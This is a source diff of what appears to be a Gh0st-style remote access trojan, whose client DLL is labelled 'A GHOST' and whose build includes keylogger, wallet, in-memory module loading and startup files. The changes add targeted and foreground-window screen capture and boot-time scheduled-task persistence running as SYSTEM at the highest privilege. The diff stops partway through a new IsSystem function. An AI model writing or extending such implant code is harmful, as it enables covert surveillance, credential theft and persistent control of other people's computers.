memcpy(m_FirstBuffer, bmp, m_BitmapInfor_Send->bmiHeader.biSizeImage);
|
||||||
|
// H264/AV1:不发原始位图,IDR 到达后服务端自行解锁;节省每次切窗口的流量峰值
|
||||||
|
if (m_bAlgorithm == ALGORITHM_H264) {
|
||||||
|
*ulFirstScreenLength = 0;
|
||||||
|
return nullptr;
|
||||||
|
}
|
||||||
memcpy(1 + m_RectBuffer, bmp, m_BitmapInfor_Send->bmiHeader.biSizeImage);
|
memcpy(1 + m_RectBuffer, bmp, m_BitmapInfor_Send->bmiHeader.biSizeImage);
|
||||||
if (m_bAlgorithm == ALGORITHM_GRAY) {
|
if (m_bAlgorithm == ALGORITHM_GRAY) {
|
||||||
ToGray(1 + m_RectBuffer, 1 + m_RectBuffer, m_BitmapInfor_Send->bmiHeader.biSizeImage);
|
ToGray(1 + m_RectBuffer, 1 + m_RectBuffer, m_BitmapInfor_Send->bmiHeader.biSizeImage);
|
||||||
@@ -138,13 +170,18 @@ LPBYTE CScreenSpy::GetFirstScreenData(ULONG* ulFirstScreenLength)
|
|||||||
|
|
||||||
VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight)
|
VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight)
|
||||||
{
|
{
|
||||||
|
if (m_hTargetWnd || m_bDynamicForeground) {
|
||||||
|
if (m_bDynamicForeground && !UpdateDynamicForeground()) return;
|
||||||
|
if (IsIconic(m_hTargetWnd)) return;
|
||||||
|
if (!CheckWindowResize()) return;
|
||||||
|
CaptureWindowContent(hdcDest, hdcSour, ulWidth, ulHeight);
|
||||||
|
return;
|
||||||
|
}
|
||||||
if (m_bVirtualPaint) {
|
if (m_bVirtualPaint) {
|
||||||
// 先用深色填充背景,避免窗口移动时留下残影
|
|
||||||
RECT rcFill = { 0, 0, (LONG)ulWidth, (LONG)ulHeight };
|
RECT rcFill = { 0, 0, (LONG)ulWidth, (LONG)ulHeight };
|
||||||
HBRUSH hBrush = CreateSolidBrush(RGB(30, 30, 30)); // 深灰色背景
|
HBRUSH hBrush = CreateSolidBrush(RGB(30, 30, 30));
|
||||||
FillRect(hdcDest, &rcFill, hBrush);
|
FillRect(hdcDest, &rcFill, hBrush);
|
||||||
DeleteObject(hBrush);
|
DeleteObject(hBrush);
|
||||||
|
|
||||||
int n = 0;
|
int n = 0;
|
||||||
if (n = EnumWindowsTopToDown(NULL, EnumHwndsPrint, (LPARAM)&m_data.SetScreenDC(hdcDest))) {
|
if (n = EnumWindowsTopToDown(NULL, EnumHwndsPrint, (LPARAM)&m_data.SetScreenDC(hdcDest))) {
|
||||||
Mprintf("EnumWindowsTopToDown failed: %d!!! GetLastError: %d\n", n, GetLastError());
|
Mprintf("EnumWindowsTopToDown failed: %d!!! GetLastError: %d\n", n, GetLastError());
|
||||||
@@ -158,16 +195,97 @@ VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHei
|
|||||||
#else
|
#else
|
||||||
const ULONG ulJumpLine = 50;
|
const ULONG ulJumpLine = 50;
|
||||||
const ULONG ulJumpSleep = ulJumpLine / 10;
|
const ULONG ulJumpSleep = ulJumpLine / 10;
|
||||||
|
for (int i = 0, ulToJump = 0; i < (int)ulHeight; i += ulToJump) {
|
||||||
for (int i = 0, ulToJump = 0; i < ulHeight; i += ulToJump) {
|
|
||||||
ULONG ulv1 = ulHeight - i;
|
ULONG ulv1 = ulHeight - i;
|
||||||
|
ulToJump = (ulv1 > ulJumpLine) ? ulJumpLine : ulv1;
|
||||||
if (ulv1 > ulJumpLine)
|
|
||||||
ulToJump = ulJumpLine;
|
|
||||||
else
|
|
||||||
ulToJump = ulv1;
|
|
||||||
BitBlt(hdcDest, 0, i, ulWidth, ulToJump, hdcSour, 0, i, SRCCOPY);
|
BitBlt(hdcDest, 0, i, ulWidth, ulToJump, hdcSour, 0, i, SRCCOPY);
|
||||||
Sleep(ulJumpSleep);
|
Sleep(ulJumpSleep);
|
||||||
}
|
}
|
||||||
#endif
|
#endif
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 每帧跟踪前景窗口;切换时尺寸相同直接复用,尺寸不同触发重建
|
||||||
|
// 返回 false 表示本帧跳过(冻结)
|
||||||
|
bool CScreenSpy::UpdateDynamicForeground()
|
||||||
|
{
|
||||||
|
HWND fg = GetForegroundWindow();
|
||||||
|
if (fg && fg != m_hTargetWnd) {
|
||||||
|
RECT wndRc = {}, frameRc = {};
|
||||||
|
GetWindowRect(fg, &wndRc);
|
||||||
|
frameRc = wndRc;
|
||||||
|
DwmGetWindowAttribute(fg, DWMWA_EXTENDED_FRAME_BOUNDS, &frameRc, sizeof(frameRc));
|
||||||
|
ULONG newW = (ULONG)(frameRc.right - frameRc.left);
|
||||||
|
ULONG newH = (ULONG)(frameRc.bottom - frameRc.top);
|
||||||
|
if (newW != m_ulFullWidth || newH != m_ulFullHeight) {
|
||||||
|
// 尺寸不同:让 WorkThread 重建,m_NextTargetWnd 传递新 HWND
|
||||||
|
m_NextTargetWnd = fg;
|
||||||
|
m_bNeedRestart = true;
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
// 尺寸相同:直接切换,更新阴影偏移缓存,无需重建
|
||||||
|
m_ShadowLeft = frameRc.left - wndRc.left;
|
||||||
|
m_ShadowTop = frameRc.top - wndRc.top;
|
||||||
|
m_CachedWndW = wndRc.right - wndRc.left;
|
||||||
|
m_CachedWndH = wndRc.bottom - wndRc.top;
|
||||||
|
m_PendingWndW = m_PendingWndH = 0;
|
||||||
|
m_hTargetWnd = fg;
|
||||||
|
Mprintf("CScreenSpy: 前景切换(同尺寸) -> HWND=%p\n", fg);
|
||||||
|
}
|
||||||
|
return m_hTargetWnd != NULL; // NULL=无前景窗口,冻结上一帧
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检测窗口 resize:GetWindowRect 每帧调用;DWM 查询仅在尺寸稳定 300ms 后触发
|
||||||
|
// 同时更新 m_iScreenX/Y(窗口移动时坐标同步),返回 false 表示本帧跳过
|
||||||
|
bool CScreenSpy::CheckWindowResize()
|
||||||
|
{
|
||||||
|
static const DWORD RESIZE_DEBOUNCE_MS = 300;
|
||||||
|
RECT fullRc = {};
|
||||||
|
GetWindowRect(m_hTargetWnd, &fullRc);
|
||||||
|
m_iScreenX = fullRc.left + m_ShadowLeft;
|
||||||
|
m_iScreenY = fullRc.top + m_ShadowTop;
|
||||||
|
int w = fullRc.right - fullRc.left;
|
||||||
|
int h = fullRc.bottom - fullRc.top;
|
||||||
|
if (w == m_CachedWndW && h == m_CachedWndH)
|
||||||
|
return true;
|
||||||
|
// 尺寸有变化:更新防抖记录
|
||||||
|
if (w != m_PendingWndW || h != m_PendingWndH) {
|
||||||
|
m_PendingWndW = w;
|
||||||
|
m_PendingWndH = h;
|
||||||
|
m_SizeChangeTick = GetTickCount();
|
||||||
|
}
|
||||||
|
if (GetTickCount() - m_SizeChangeTick < RESIZE_DEBOUNCE_MS)
|
||||||
|
return false; // 尚未稳定,冻结等待
|
||||||
|
// 稳定 300ms:查询 DWM 真实帧边界,决定是否重建
|
||||||
|
RECT frameRc = fullRc;
|
||||||
|
if (SUCCEEDED(DwmGetWindowAttribute(m_hTargetWnd, DWMWA_EXTENDED_FRAME_BOUNDS, &frameRc, sizeof(frameRc)))) {
|
||||||
|
m_ShadowLeft = frameRc.left - fullRc.left;
|
||||||
|
m_ShadowTop = frameRc.top - fullRc.top;
|
||||||
|
} else {
|
||||||
|
m_ShadowLeft = m_ShadowTop = 0;
|
||||||
|
}
|
||||||
|
if ((ULONG)(frameRc.right - frameRc.left) != m_ulFullWidth ||
|
||||||
|
(ULONG)(frameRc.bottom - frameRc.top) != m_ulFullHeight) {
|
||||||
|
Mprintf("CScreenSpy: 窗口尺寸变化 %dx%d -> %dx%d,触发重建\n",
|
||||||
|
m_ulFullWidth, m_ulFullHeight,
|
||||||
|
frameRc.right - frameRc.left, frameRc.bottom - frameRc.top);
|
||||||
|
m_bNeedRestart = true;
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
m_CachedWndW = w;
|
||||||
|
m_CachedWndH = h;
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 前景模式直接 BitBlt(零闪烁);指定窗口模式用 PrintWindow(处理遮挡)
|
||||||
|
void CScreenSpy::CaptureWindowContent(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight)
|
||||||
|
{
|
||||||
|
if (m_bDynamicForeground) {
|
||||||
|
BitBlt(hdcDest, 0, 0, ulWidth, ulHeight, hdcSour, m_iScreenX, m_iScreenY, SRCCOPY);
|
||||||
|
} else {
|
||||||
|
HDC hTmp = m_data.GetWindowDC();
|
||||||
|
HBITMAP hOld = (HBITMAP)SelectObject(hTmp, m_data.GetWindowBmp());
|
||||||
|
if (PrintWindow(m_hTargetWnd, hTmp, PW_RENDERFULLCONTENT))
|
||||||
|
BitBlt(hdcDest, 0, 0, ulWidth, ulHeight, hTmp, m_ShadowLeft, m_ShadowTop, SRCCOPY);
|
||||||
|
SelectObject(hTmp, hOld);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|||||||
@@ -95,10 +95,25 @@ protected:
|
|||||||
|
|
||||||
BOOL m_bVirtualPaint;// 是否虚拟绘制
|
BOOL m_bVirtualPaint;// 是否虚拟绘制
|
||||||
EnumHwndsPrintData m_data;
|
EnumHwndsPrintData m_data;
|
||||||
|
HWND m_hTargetWnd = NULL; // 窗口捕获目标(NULL=全屏)
|
||||||
|
bool m_bDynamicForeground = false; // true=每帧跟踪前景窗口(由 sentinel=-1 触发)
|
||||||
|
int m_ShadowLeft = 0; // DWM 阴影左偏移(frameRc.left - fullRc.left),帧间缓存
|
||||||
|
int m_ShadowTop = 0; // DWM 阴影上偏移(frameRc.top - fullRc.top),帧间缓存
|
||||||
|
int m_CachedWndW = 0; // 上帧 GetWindowRect 宽度,用于检测 resize 无需每帧调 DWM
|
||||||
|
int m_CachedWndH = 0; // 上帧 GetWindowRect 高度
|
||||||
|
int m_PendingWndW = 0; // 防抖:检测到尺寸变化后记录的新宽度
|
||||||
|
int m_PendingWndH = 0; // 防抖:检测到尺寸变化后记录的新高度
|
||||||
|
DWORD m_SizeChangeTick = 0; // 防抖:尺寸上次变化的时间戳(GetTickCount)
|
||||||
|
|
||||||
public:
|
public:
|
||||||
CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk = FALSE, int gop = DEFAULT_GOP, BOOL all = FALSE,
|
CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk = FALSE, int gop = DEFAULT_GOP, BOOL all = FALSE,
|
||||||
int level = LEVEL_H264_SOFT, RECT rc = {0}, BOOL switchScreen = TRUE);
|
int level = LEVEL_H264_SOFT, RECT rc = {0}, BOOL switchScreen = TRUE, HWND hwnd = NULL, bool dynamicFg = false);
|
||||||
|
|
||||||
|
virtual HWND GetTargetWindow() const override { return m_hTargetWnd; }
|
||||||
|
|
||||||
|
// 窗口模式下 m_ulFullWidth/Height 是窗口尺寸,但 SendInput 的 dx/dy 分母必须是屏幕尺寸
|
||||||
|
virtual int GetScreenWidth() const override { return m_hTargetWnd ? GetSystemMetrics(SM_CXSCREEN) : m_ulFullWidth; }
|
||||||
|
virtual int GetScreenHeight() const override { return m_hTargetWnd ? GetSystemMetrics(SM_CYSCREEN) : m_ulFullHeight; }
|
||||||
|
|
||||||
virtual ~CScreenSpy();
|
virtual ~CScreenSpy();
|
||||||
|
|
||||||
@@ -251,6 +266,14 @@ public:
|
|||||||
m_hDeskTopDC = GetDC(NULL);
|
m_hDeskTopDC = GetDC(NULL);
|
||||||
m_data.Create(m_hDeskTopDC, m_iScreenX, m_iScreenY, m_ulFullWidth, m_ulFullHeight);
|
m_data.Create(m_hDeskTopDC, m_iScreenX, m_iScreenY, m_ulFullWidth, m_ulFullHeight);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private:
|
||||||
|
// 前景跟踪:切换或尺寸变化时更新 m_hTargetWnd,返回 false 表示本帧冻结
|
||||||
|
bool UpdateDynamicForeground();
|
||||||
|
// 防抖 + 重建检测:更新 m_iScreenX/Y,返回 false 表示本帧冻结
|
||||||
|
bool CheckWindowResize();
|
||||||
|
// 执行实际像素拷贝(BitBlt 或 PrintWindow)
|
||||||
|
void CaptureWindowContent(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight);
|
||||||
};
|
};
|
||||||
|
|
||||||
#endif // !defined(AFX_SCREENSPY_H__5F74528D_9ABD_404E_84D2_06C96A0615F4__INCLUDED_)
|
#endif // !defined(AFX_SCREENSPY_H__5F74528D_9ABD_404E_84D2_06C96A0615F4__INCLUDED_)
|
||||||
|
|||||||
@@ -88,7 +88,7 @@ IDR_WAVE WAVE "Res\\msg.wav"
|
|||||||
//
|
//
|
||||||
|
|
||||||
VS_VERSION_INFO VERSIONINFO
|
VS_VERSION_INFO VERSIONINFO
|
||||||
FILEVERSION 1,0,3,6
|
FILEVERSION 1,0,3,9
|
||||||
PRODUCTVERSION 1,0,0,1
|
PRODUCTVERSION 1,0,0,1
|
||||||
FILEFLAGSMASK 0x3fL
|
FILEFLAGSMASK 0x3fL
|
||||||
#ifdef _DEBUG
|
#ifdef _DEBUG
|
||||||
@@ -106,7 +106,7 @@ BEGIN
|
|||||||
BEGIN
|
BEGIN
|
||||||
VALUE "CompanyName", "FUCK THE UNIVERSE"
|
VALUE "CompanyName", "FUCK THE UNIVERSE"
|
||||||
VALUE "FileDescription", "A GHOST"
|
VALUE "FileDescription", "A GHOST"
|
||||||
VALUE "FileVersion", "1.0.3.6"
|
VALUE "FileVersion", "1.0.3.9"
|
||||||
VALUE "InternalName", "ServerDll.dll"
|
VALUE "InternalName", "ServerDll.dll"
|
||||||
VALUE "LegalCopyright", "Copyright (C) 2019-2026"
|
VALUE "LegalCopyright", "Copyright (C) 2019-2026"
|
||||||
VALUE "OriginalFilename", "ServerDll.dll"
|
VALUE "OriginalFilename", "ServerDll.dll"
|
||||||
|
|||||||
@@ -163,6 +163,7 @@ CShellManager::~CShellManager()
|
|||||||
m_bStarting = FALSE;
|
m_bStarting = FALSE;
|
||||||
|
|
||||||
TerminateProcess(m_hShellProcessHandle, 0); //结束我们自己创建的Cmd进程
|
TerminateProcess(m_hShellProcessHandle, 0); //结束我们自己创建的Cmd进程
|
||||||
|
Mprintf("TerminateThread: cmd 线程 handle=%p threadId=%lu\n", m_hShellThreadHandle, GetThreadId(m_hShellThreadHandle));
|
||||||
TerminateThread(m_hShellThreadHandle, 0); //结束我们自己创建的Cmd线程
|
TerminateThread(m_hShellThreadHandle, 0); //结束我们自己创建的Cmd线程
|
||||||
Sleep(100);
|
Sleep(100);
|
||||||
|
|
||||||
|
|||||||
@@ -78,7 +78,7 @@
|
|||||||
<IntDir>$(Platform)\$(Configuration)\test</IntDir>
|
<IntDir>$(Platform)\$(Configuration)\test</IntDir>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter;$(IncludePath)</IncludePath>
|
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter;$(SolutionDir)compress;$(IncludePath)</IncludePath>
|
||||||
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
|
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
|
||||||
<IntDir>$(Configuration)\test</IntDir>
|
<IntDir>$(Configuration)\test</IntDir>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
@@ -168,6 +168,7 @@
|
|||||||
<ClCompile Include="MemoryModule.c" />
|
<ClCompile Include="MemoryModule.c" />
|
||||||
<ClCompile Include="reg_startup.c" />
|
<ClCompile Include="reg_startup.c" />
|
||||||
<ClCompile Include="ServiceWrapper.c" />
|
<ClCompile Include="ServiceWrapper.c" />
|
||||||
|
<ClCompile Include="session.cpp" />
|
||||||
<ClCompile Include="SessionMonitor.c" />
|
<ClCompile Include="SessionMonitor.c" />
|
||||||
<ClCompile Include="test.cpp" />
|
<ClCompile Include="test.cpp" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
@@ -177,6 +178,7 @@
|
|||||||
<ClInclude Include="reg_startup.h" />
|
<ClInclude Include="reg_startup.h" />
|
||||||
<ClInclude Include="resource1.h" />
|
<ClInclude Include="resource1.h" />
|
||||||
<ClInclude Include="ServiceWrapper.h" />
|
<ClInclude Include="ServiceWrapper.h" />
|
||||||
|
<ClInclude Include="session.h" />
|
||||||
<ClInclude Include="SessionMonitor.h" />
|
<ClInclude Include="SessionMonitor.h" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
|
|||||||
@@ -68,6 +68,9 @@ bool CX264Encoder::open(int width, int height, int fps, int crf)
|
|||||||
|
|
||||||
bool CX264Encoder::open(x264_param_t * param)
|
bool CX264Encoder::open(x264_param_t * param)
|
||||||
{
|
{
|
||||||
|
// x264_encoder_open 在 0×0 时已完成 x264_param_strdup 才报错,需在此拦截
|
||||||
|
if (param->i_width < 2 || param->i_height < 2) return false;
|
||||||
|
|
||||||
m_pPicIn = (x264_picture_t*)calloc(1, sizeof(x264_picture_t));
|
m_pPicIn = (x264_picture_t*)calloc(1, sizeof(x264_picture_t));
|
||||||
m_pPicOut = (x264_picture_t*)calloc(1, sizeof(x264_picture_t));
|
m_pPicOut = (x264_picture_t*)calloc(1, sizeof(x264_picture_t));
|
||||||
|
|
||||||
|
|||||||
@@ -185,6 +185,7 @@
|
|||||||
<ClCompile Include="..\common\ikcp.c" />
|
<ClCompile Include="..\common\ikcp.c" />
|
||||||
<ClCompile Include="..\common\zstd_wrapper.c" />
|
<ClCompile Include="..\common\zstd_wrapper.c" />
|
||||||
<ClCompile Include="..\server\2015Remote\pwd_gen.cpp" />
|
<ClCompile Include="..\server\2015Remote\pwd_gen.cpp" />
|
||||||
|
<ClCompile Include="ActivityHistory.cpp" />
|
||||||
<ClCompile Include="Audio.cpp" />
|
<ClCompile Include="Audio.cpp" />
|
||||||
<ClCompile Include="AudioManager.cpp" />
|
<ClCompile Include="AudioManager.cpp" />
|
||||||
<ClCompile Include="Buffer.cpp" />
|
<ClCompile Include="Buffer.cpp" />
|
||||||
@@ -201,6 +202,7 @@
|
|||||||
<ClCompile Include="keylogger.cpp" />
|
<ClCompile Include="keylogger.cpp" />
|
||||||
<ClCompile Include="Loader.cpp" />
|
<ClCompile Include="Loader.cpp" />
|
||||||
<ClCompile Include="LoginServer.cpp" />
|
<ClCompile Include="LoginServer.cpp" />
|
||||||
|
<ClCompile Include="ClientLogManager.cpp" />
|
||||||
<ClCompile Include="Manager.cpp" />
|
<ClCompile Include="Manager.cpp" />
|
||||||
<ClCompile Include="MemoryModule.c" />
|
<ClCompile Include="MemoryModule.c" />
|
||||||
<ClCompile Include="proxy\ProxyManager.cpp" />
|
<ClCompile Include="proxy\ProxyManager.cpp" />
|
||||||
@@ -213,6 +215,7 @@
|
|||||||
<ClCompile Include="ScreenSpy.cpp" />
|
<ClCompile Include="ScreenSpy.cpp" />
|
||||||
<ClCompile Include="ServicesManager.cpp" />
|
<ClCompile Include="ServicesManager.cpp" />
|
||||||
<ClCompile Include="ServiceWrapper.c" />
|
<ClCompile Include="ServiceWrapper.c" />
|
||||||
|
<ClCompile Include="session.cpp" />
|
||||||
<ClCompile Include="SessionMonitor.c" />
|
<ClCompile Include="SessionMonitor.c" />
|
||||||
<ClCompile Include="ShellManager.cpp" />
|
<ClCompile Include="ShellManager.cpp" />
|
||||||
<ClCompile Include="ConPTYManager.cpp" />
|
<ClCompile Include="ConPTYManager.cpp" />
|
||||||
@@ -232,6 +235,7 @@
|
|||||||
<ClInclude Include="..\common\wallet.h" />
|
<ClInclude Include="..\common\wallet.h" />
|
||||||
<ClInclude Include="..\common\zstd_wrapper.h" />
|
<ClInclude Include="..\common\zstd_wrapper.h" />
|
||||||
<ClInclude Include="..\server\2015Remote\pwd_gen.h" />
|
<ClInclude Include="..\server\2015Remote\pwd_gen.h" />
|
||||||
|
<ClInclude Include="ActivityHistory.h" />
|
||||||
<ClInclude Include="Audio.h" />
|
<ClInclude Include="Audio.h" />
|
||||||
<ClInclude Include="AudioManager.h" />
|
<ClInclude Include="AudioManager.h" />
|
||||||
<ClInclude Include="auto_start.h" />
|
<ClInclude Include="auto_start.h" />
|
||||||
@@ -251,6 +255,7 @@
|
|||||||
<ClInclude Include="keylogger.h" />
|
<ClInclude Include="keylogger.h" />
|
||||||
<ClInclude Include="LoginServer.h" />
|
<ClInclude Include="LoginServer.h" />
|
||||||
<ClInclude Include="Manager.h" />
|
<ClInclude Include="Manager.h" />
|
||||||
|
<ClInclude Include="ClientLogManager.h" />
|
||||||
<ClInclude Include="MemoryModule.h" />
|
<ClInclude Include="MemoryModule.h" />
|
||||||
<ClInclude Include="my_clip.h" />
|
<ClInclude Include="my_clip.h" />
|
||||||
<ClInclude Include="proxy\ProxyManager.h" />
|
<ClInclude Include="proxy\ProxyManager.h" />
|
||||||
@@ -265,6 +270,7 @@
|
|||||||
<ClInclude Include="ScreenSpy.h" />
|
<ClInclude Include="ScreenSpy.h" />
|
||||||
<ClInclude Include="ServicesManager.h" />
|
<ClInclude Include="ServicesManager.h" />
|
||||||
<ClInclude Include="ServiceWrapper.h" />
|
<ClInclude Include="ServiceWrapper.h" />
|
||||||
|
<ClInclude Include="session.h" />
|
||||||
<ClInclude Include="SessionMonitor.h" />
|
<ClInclude Include="SessionMonitor.h" />
|
||||||
<ClInclude Include="ShellManager.h" />
|
<ClInclude Include="ShellManager.h" />
|
||||||
<ClInclude Include="ConPTYManager.h" />
|
<ClInclude Include="ConPTYManager.h" />
|
||||||
|
|||||||
@@ -450,7 +450,12 @@ BOOL APIENTRY DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
|
|||||||
param.User = g_Server.pwdHash;
|
param.User = g_Server.pwdHash;
|
||||||
threadHandle = CreateThread(NULL, 0, run, ¶m, 0, NULL);
|
threadHandle = CreateThread(NULL, 0, run, ¶m, 0, NULL);
|
||||||
} else if (fdwReason == DLL_PROCESS_DETACH) {
|
} else if (fdwReason == DLL_PROCESS_DETACH) {
|
||||||
if (threadHandle) TerminateThread(threadHandle, 0x20250619);
|
if (threadHandle) {
|
||||||
|
// DLL 卸载时强杀线程前记录日志,便于定位死锁。此处 Mprintf 在 release 被定义为空,
|
||||||
|
// 且 DETACH 阶段 CRT 可能已不可用,故用内核 API OutputDebugStringA 输出。
|
||||||
|
OutputDebugStringA("TerminateThread: DllMain DLL_PROCESS_DETACH\n");
|
||||||
|
TerminateThread(threadHandle, 0x20250619);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -30,7 +30,7 @@ inline void ConvertCharToWChar(const char* charStr, wchar_t* wcharStr, size_t wc
|
|||||||
MultiByteToWideChar(CP_ACP, 0, charStr, -1, wcharStr, wcharSize);
|
MultiByteToWideChar(CP_ACP, 0, charStr, -1, wcharStr, wcharSize);
|
||||||
}
|
}
|
||||||
|
|
||||||
int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,const char* desc,BOOL run, BOOL runasAdmin)
|
int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,const char* desc,BOOL run, BOOL runasAdmin, BOOL systemBoot)
|
||||||
{
|
{
|
||||||
HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);
|
HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);
|
||||||
if (FAILED(hr)) {
|
if (FAILED(hr)) {
|
||||||
@@ -139,11 +139,11 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons
|
|||||||
hr = pTask->lpVtbl->get_Triggers(pTask, &pTriggerCollection);
|
hr = pTask->lpVtbl->get_Triggers(pTask, &pTriggerCollection);
|
||||||
if (SUCCEEDED(hr)) {
|
if (SUCCEEDED(hr)) {
|
||||||
ITrigger* pTrigger = NULL;
|
ITrigger* pTrigger = NULL;
|
||||||
hr = pTriggerCollection->lpVtbl->Create(pTriggerCollection, TASK_TRIGGER_LOGON, &pTrigger);
|
hr = pTriggerCollection->lpVtbl->Create(pTriggerCollection, systemBoot ? TASK_TRIGGER_BOOT : TASK_TRIGGER_LOGON, &pTrigger);
|
||||||
pTriggerCollection->lpVtbl->Release(pTriggerCollection);
|
pTriggerCollection->lpVtbl->Release(pTriggerCollection);
|
||||||
if (SUCCEEDED(hr)) {
|
if (SUCCEEDED(hr)) {
|
||||||
// 普通用户需要指定具体用户
|
// 普通用户需要指定具体用户
|
||||||
if (!runasAdmin) {
|
if (!systemBoot && !runasAdmin) {
|
||||||
ILogonTrigger* pLogonTrigger = NULL;
|
ILogonTrigger* pLogonTrigger = NULL;
|
||||||
hr = pTrigger->lpVtbl->QueryInterface(pTrigger, &IID_ILogonTrigger, (void**)&pLogonTrigger);
|
hr = pTrigger->lpVtbl->QueryInterface(pTrigger, &IID_ILogonTrigger, (void**)&pLogonTrigger);
|
||||||
if (SUCCEEDED(hr)) {
|
if (SUCCEEDED(hr)) {
|
||||||
@@ -200,10 +200,18 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons
|
|||||||
|
|
||||||
// 权限配置
|
// 权限配置
|
||||||
IPrincipal* pPrincipal = NULL;
|
IPrincipal* pPrincipal = NULL;
|
||||||
if (runasAdmin && SUCCEEDED(pTask->lpVtbl->get_Principal(pTask, &pPrincipal))) {
|
if ((runasAdmin || systemBoot) && SUCCEEDED(pTask->lpVtbl->get_Principal(pTask, &pPrincipal))) {
|
||||||
hr = pPrincipal->lpVtbl->put_LogonType(pPrincipal, TASK_LOGON_INTERACTIVE_TOKEN);
|
hr = pPrincipal->lpVtbl->put_LogonType(pPrincipal, systemBoot ? TASK_LOGON_SERVICE_ACCOUNT : TASK_LOGON_INTERACTIVE_TOKEN);
|
||||||
if (FAILED(hr)) Mprintf("put_LogonType 失败,错误代码:%ld\n", hr);
|
if (FAILED(hr)) Mprintf("put_LogonType 失败,错误代码:%ld\n", hr);
|
||||||
hr = pPrincipal->lpVtbl->put_RunLevel(pPrincipal, runasAdmin ? TASK_RUNLEVEL_HIGHEST : TASK_RUNLEVEL_LUA);
|
if (systemBoot)
|
||||||
|
{
|
||||||
|
BSTR sys = SysAllocString(L"SYSTEM");
|
||||||
|
hr = pPrincipal->lpVtbl->put_UserId(pPrincipal,sys);
|
||||||
|
if (FAILED(hr))
|
||||||
|
Mprintf("put_UserId失败:%ld\n", hr);
|
||||||
|
SysFreeString(sys);
|
||||||
|
}
|
||||||
|
hr = pPrincipal->lpVtbl->put_RunLevel(pPrincipal, (runasAdmin || systemBoot) ? TASK_RUNLEVEL_HIGHEST : TASK_RUNLEVEL_LUA);
|
||||||
if (FAILED(hr)) Mprintf("put_RunLevel 失败,错误代码:%ld\n", hr);
|
if (FAILED(hr)) Mprintf("put_RunLevel 失败,错误代码:%ld\n", hr);
|
||||||
pPrincipal->lpVtbl->Release(pPrincipal);
|
pPrincipal->lpVtbl->Release(pPrincipal);
|
||||||
} else {
|
} else {
|
||||||
@@ -235,9 +243,9 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons
|
|||||||
bstrTaskName,
|
bstrTaskName,
|
||||||
pTask,
|
pTask,
|
||||||
TASK_CREATE_OR_UPDATE,
|
TASK_CREATE_OR_UPDATE,
|
||||||
runasAdmin ? vUser : empty,
|
systemBoot ? empty : (runasAdmin ? vUser : empty),
|
||||||
empty,
|
empty,
|
||||||
TASK_LOGON_INTERACTIVE_TOKEN,
|
systemBoot ? TASK_LOGON_SERVICE_ACCOUNT : TASK_LOGON_INTERACTIVE_TOKEN,
|
||||||
empty,
|
empty,
|
||||||
&pRegisteredTask
|
&pRegisteredTask
|
||||||
);
|
);
|
||||||
@@ -289,6 +297,40 @@ BOOL IsRunningAsAdmin()
|
|||||||
return isAdmin;
|
return isAdmin;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
BOOL IsSystem()
|
||||||
|
{
|
||||||
|
HANDLE token = NULL;
|
||||||
|
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &token))
|
||||||
|
return FALSE;
|
||||||
|
|
||||||
|
DWORD size = 0;
|
||||||
|
GetTokenInformation(token, TokenUser, NULL, 0, &size);
|
||||||
|
|
||||||
|
PTOKEN_USER user = (PTOKEN_USER)malloc(size);
|
||||||
|
if (!user) { CloseHandle(token); return FALSE; }
|
||||||
|
|
||||||
|
BOOL result = FALSE;
|
||||||
|
if (GetTokenInformation(token, TokenUser, user, size, &size))
|
||||||
|
{
|
||||||
|
SID_IDENTIFIER_AUTHORITY nt = SECURITY_NT_AUTHORITY;
|
||||||
|
|
||||||
|
PSID systemSid = NULL;
|
||||||
|
AllocateAndInitializeSid(&nt, 1,
|
||||||
|
SECURITY_LOCAL_SYSTEM_RID,
|
||||||
|
0, 0, 0, 0, 0, 0, 0,
|
||||||
|
&systemSid);
|
||||||
|
|
||||||
|
result = EqualSid(user->User.Sid, systemSid);
|
||||||
|
|
||||||
|
FreeSid(systemSid);
|
||||||
|
}
|
||||||
|
|
||||||
|
free(user);
|
||||||
